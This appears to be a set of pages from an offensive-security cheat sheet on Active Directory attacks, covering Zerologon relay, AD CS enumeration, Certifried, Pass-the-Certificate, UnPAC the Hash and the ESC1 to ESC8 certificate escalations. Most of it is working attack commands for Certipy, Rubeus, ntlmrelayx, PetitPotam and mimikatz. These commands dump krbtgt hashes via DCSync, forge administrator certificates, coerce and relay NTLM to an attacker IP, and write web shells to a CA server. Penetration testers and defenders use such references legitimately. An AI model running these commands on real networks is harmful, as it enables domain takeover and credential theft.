# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```
* `netexec` - only check
```powershell
netexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
```
A 2nd approach to exploit zerologon is done by relaying authentication.
This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
The following prerequisites are needed:
* A domain account
* One DC running the `PrintSpooler` service
* Another DC vulnerable to zerologon
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
```powershell
# Check if one DC is running the PrintSpooler service
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
# Setup ntlmrelay in one shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
#Trigger printerbug in 2nd shell
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```
## References
* [Zerologon:Unauthenticated domain controller compromise by subverting Netlogon cryptography (CVE-2020-1472) - Tom Tervoort - September 15, 2020](https://web.archive.org/web/20200915011856/https://www.secura.com/pathtoimg.php?id=2055)

View File

@@ -0,0 +1,222 @@
# Active Directory - Certificate Services
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
## ADCS Enumeration
* NetExec:
```ps1
netexec ldap domain.lab -u username -p password -M adcs
```
* ldapsearch:
```ps1
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
```
* certutil:
```ps1
certutil.exe -config - -ping
certutil -dump
```
## Certificate Enrollment
* DNS required (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`): only principals with their `dNSHostName` attribute set can enroll.
* Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`.
* Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD.
* Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name.
* Email required (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL`): only principals with their `mail` attribute set can enroll unless the template is of schema version 1.
* By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves.
* Users might have the `mail` attribute set, but it is rare for computers.
## Certifried CVE-2022-26923
> An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
* Find `ms-DS-MachineAccountQuota`
```ps1
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
```
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
```ps1
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
```
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
```ps1
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
```
* Set the `dNSHostName` attribute to match the Domain Controller hostname
```ps1
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
```
* Request a ticket
```ps1
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
```
* Either use the pfx or set a RBCD on your machine account to takeover the domain
```ps1
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
```
## Pass-The-Certificate
> Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
* Windows
```ps1
# Information about a cert file
certutil -v -dump admin.pfx
# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
```
* Linux
```ps1
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
```
### PKINIT ERROR
When the DC does not support **PKINIT** (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output.
```ps1
$ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
[...]
KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT)
```
There is still a way to use the certificate to takeover the account.
* Open an LDAP shell using the certificate
```ps1
certipy auth -pfx target.pfx -debug -username username -domain domain.local -dns-tcp -dc-ip 10.10.10.10 -ldap-shell
```
* Add a computer for RBCD
```ps1
impacket-addcomputer -dc-ip 10.10.10.10 DOMAIN.LOCAL/User:P@ssw0rd -computer-name "NEWCOMPUTER" -computer-pass "P@ssw0rd123*"
```
* Set the RBCD
```ps1
set_rbcd 'TARGET$' 'NEWCOMPUTER$'
```
* Request a ticket with impersonation
```ps1
impacket-getST -spn 'cifs/target.domain.local' -impersonate 'target$' -dc-ip 10.10.10.10 'DOMAIN.LOCAL/NEWCOMPUTER$:P@ssw0rd123*'
```
* Use the ticket
```ps1
export KRB5CCNAME=DC$.ccache
impacket-secretsdump.py 'target$'@target.domain.local -k -no-pass -dc-ip 10.10.10.10 -just-dc-user 'krbtgt'
```
## UnPAC The Hash
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
* [ly4k/Certipy](https://github.com/ly4k/Certipy)
```ps1
export KRB5CCNAME=/pwd/to/user.ccache
proxychains certipy req -username "user@domain.lab" -ca "domain-DC-CA" -target "dc1.domain.lab" -template User -k -no-pass -dns-tcp -ns 10.10.10.10 -dc-ip 10.10.10.10
proxychains certipy auth -pfx 'user.pfx' -dc-ip 10.10.10.10 -username user -domain domain.lab
```
* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
```ps1
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```
* [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)
```ps1
# Obtain a TGT by validating a PKINIT pre-authentication
gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
# Use the session key to recover the NT hash
export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
```
## Common Error Messages
| Error Name | Description |
| ---------- | ----------- |
| `CERTSRV_E_TEMPLATE_DENIED` | The permissions on the certificate template do not allow the current user to enroll |
| `KDC_ERR_INCONSISTENT_KEY_PURPOSE` | Certificate cannot be used for PKINIT client authentication |
| `KDC_ERROR_CLIENT_NOT_TRUSTED` | Reserved for PKINIT. Try to authenticate to another DC |
| `KDC_ERR_PADATA_TYPE_NOSUPP` | KDC has no support for padata type. CA might be expired |
`KDC_ERR_PADATA_TYPE_NOSUPP` error still allow the attacker to use the certificate with the Pass-The-Cert. Since the DC's LDAPS service only check the SAN.
## References
* [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls)
* [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12)
* [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547)
* [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html)
* [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration)
* [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates)
* [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d)
* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
* [Certifried: Active Directory Domain Privilege Escalation (CVE-202226923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4)
* [Diving Into AD CS: Exploring Some Common Error Messages - Jacques Coertze - March 7, 2025](https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/)
* [Microsoft ADCS Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
* [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash)
* [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)

View File

@@ -0,0 +1,17 @@
# Active Directory - Certificate ESC Attacks
* [ESC1 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc01/)
* [ESC2 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc02/)
* [ESC3 - Misconfigured Enrollment Agent Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc03/)
* [ESC4 - Access Control Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc04/)
* [ESC5 - Vulnerable PKI Object Access Control](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc05/)
* [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc06/)
* [ESC7 - Vulnerable Certificate Authority Access Control](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc07/)
* [ESC8 - Web Enrollment Relay](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc08/)
* [ESC9 - No Security Extension](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc09/)
* [ESC10 - Weak Certificate Mapping](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc10/)
* [ESC11 - Relaying NTLM to ICPR](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc11/)
* [ESC12 - ADCS CA on YubiHSM](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc12/)
* [ESC13 - Issuance Policy](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc13/)
* [ESC14 - altSecurityIdentities](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc14/)
* [ESC15 - EKUwu Application Policies - CVE-2024-49019](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc15/)

View File

@@ -0,0 +1,53 @@
# Active Directory - Certificate ESC1
## ESC1 - Misconfigured Certificate Templates
> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
**Requirements**
* Template that allows for AD authentication
* **ENROLLEE_SUPPLIES_SUBJECT** flag
* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
```
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
```
* Use OpenSSL and convert the certificate, do not enter a password
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**WARNING**: These certificates will still be usable even if the user or computer resets their password!
**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
## References

View File

@@ -0,0 +1,21 @@
# Active Directory - Certificate ESC2
## ESC2 - Misconfigured Certificate Templates
**Requirements**
* Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
**Exploitation**
* Find template
```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
```
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1 - Misconfigured Certificate Templates](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adcs-esc01/).
## References

View File

@@ -0,0 +1,20 @@
# Active Directory - Certificate ESC3
## ESC3 - Misconfigured Enrollment Agent Templates
> ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
* Request a certificate based on the vulnerable certificate template ESC3.
```ps1
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
```
* Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
```ps1
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
```
## References

View File

@@ -0,0 +1,41 @@
# Active Directory - Certificate ESC4
## ESC4 - Access Control Vulnerabilities
> Enabling the `mspki-certificate-name-flag` flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
* Search for `WriteProperty` with value `00000000-0000-0000-0000-000000000000` using [modifyCertTemplate](https://github.com/fortalice/modifyCertTemplate)
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
```
* Add the `ENROLLEE_SUPPLIES_SUBJECT` (ESS) flag to perform ESC1
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:\>StandIn.exe --adcs --filter WebServer --ess --add
```
* Perform ESC1 and then restore the value
```ps1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
```
Using Certipy
```ps1
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
```
## References
* [ADCS: Playing with ESC4 - Matthew Creel](https://www.fortalicesolutions.com/posts/adcs-playing-with-esc4)

View File

@@ -0,0 +1,43 @@
# Active Directory - Certificate ESC5
## ESC5 - Vulnerable PKI Object Access Control
> Escalate the privileges from **Domain Administrator** in the child domain into **Enterprise Administrator** at the forest root.
**Requirements**:
* Add new templates to the "Certificate" Templates container
* "WRITE" access to the `pKIEnrollmentService` object
**Exploitation - Access Control**:
* Use `PsExec` to launch `mmc` as SYSTEM on the child DC: `psexec.exe /accepteula -i -s mmc`
* Connect to "Configuration naming context" > "Certificate Template" container
* Open `certsrv.msc` as SYSTEM and duplicate an existing template
* Edit the properties of the template to:
* Granting enroll rights to a principal we control in the child domain.
* Including Client Authentication in the Application Policies.
* Allowing SANs in certificate requests.
* Not enabling manager approval or authorized signatures.
* Publish the certificate template to the CA
* Publish by adding the template to the list in `certificateTemplate` property of `CN=Services`>`CN=Public Key Services`>`CN=Enrollment Services`>`pkiEnrollmentService`
* Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.
**Exploitation - Golden Certificate**:
Use `certipy`to extract the CA certificate and private key
```ps1
certipy ca -backup -u user@domain.local -p password -dc-ip 10.10.10.10 -ca 'DOMAIN-CA' -target 10.10.10.11 -debug
```
Then forge a domain admin certificate
```ps1
certipy forge -ca-pfx 'DOMAIN-CA.pfx' -upn administrator@domain.local
```
## References
* [From DA to EA with ESC5 - Andy Robbins - May 16, 2023](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,27 @@
# Active Directory - Certificate ESC6
## ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
**Exploitation**
* Use [Certify.exe](https://github.com/GhostPack/Certify) to check for **UserSpecifiedSAN** flag state which refers to the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag.
```ps1
Certify.exe cas
```
* Request a certificate for a template and add an altname, even though the default `User` template doesn't normally allow to specify alternative names
```ps1
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
```
**Mitigation**
* Remove the flag: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
## References
* [AD CS: from ManageCA to RCE - February 11, 2022 - Pablo Martínez, Kurosh Dabbagh](https://web.archive.org/web/20220212053945/http://www.blackarrow.net/ad-cs-from-manageca-to-rce//)

View File

@@ -0,0 +1,76 @@
# Active Directory - Certificate ESC7
## ESC7 - Vulnerable Certificate Authority Access Control
**Exploitation**
* Detect CAs that allow low privileged users the `ManageCA` or `Manage Certificates` permissions
```ps1
Certify.exe find /vulnerable
# or
certipy find -enabled -u user@domain.local -p password -dc-ip 10.10.10.10
# add "Manage Certificates" privilege
certipy ca -ca 'DOMAIN-CA' -username user@domain.local -p GoldCrown -add-officer user -dc-ip 10.10.10.10 -target-ip 10.10.10.11
```
* Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
```ps1
Certify.exe setconfig /enablesan /restart
```
* Request the certificate with the desired SAN.
```ps1
Certify.exe request /template:User /altname:super.adm
```
* Grant approval if required or disable the approval requirement
```ps1
# Grant
Certify.exe issue /id:[REQUEST ID]
# Disable
Certify.exe setconfig /removeapproval /restart
```
**Exploitation 2**:
Alternative exploitation from **ManageCA** to **RCE** on ADCS server:
```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
```
**Exploitation 3**:
```ps1
# enable SubCA template
certipy ca -ca 'DOMAIN-CA' -enable-template 'SubCA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11
# request a certificate based on subCA template
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -template SubCA -upn administrator@domain.local
# issue failed certificate request
certipy ca -ca 'DOMAIN-CA' -issue-request 7 -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11
# retrieve the issued certificate
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -retrieve 7
```
## References
* [AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022](https://www.blackarrow.net/adcs-weaponizing-esc7-attack/)
* [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)

View File

@@ -0,0 +1,103 @@
# Active Directory - Certificate ESC8
## ESC8 - Web Enrollment Relay
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controllers NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101
* **Version 1**: NTLM Relay + Rubeus + PetitPotam
```powershell
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 2**: NTLM Relay + Mimikatz + Kekeo
```powershell
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
```
* **Version 3**: Kerberos Relay
```ps1
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine
# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
```
* **Version 4**: ADCSPwn - Require `WebClient` service running on the domain controller. By default this service is not installed.
```powershell
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local
# ADCSPwn arguments
adcs - This is the address of the AD CS server which authentication will be relayed to.
secure - Use HTTPS with the certificate service.
port - The port ADCSPwn will listen on.
remote - Remote machine to trigger authentication from.
username - Username for non-domain context.
password - Password for non-domain context.
dc - Domain controller to query for Certificate Templates (LDAP).
unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output - Output path to store base64 generated crt.
```
* **Version 5**: Certipy ESC8
```ps1
certipy relay -ca 172.16.19.100
```
* **Version 6**: Kerberos Relay (self relay in case of only one DC)
```ps1
# Add dns entry with the james forshaw's trick
dnstool.py -u "domain.local\user" -p "password" -r "computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "10.10.10.10" --action add "10.10.10.11" --tcp
# Coerce kerberos with petit potam on dns entry
petitpotam.py -u 'user' -p 'password' -d domain.local 'computer1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' computer.domain.local
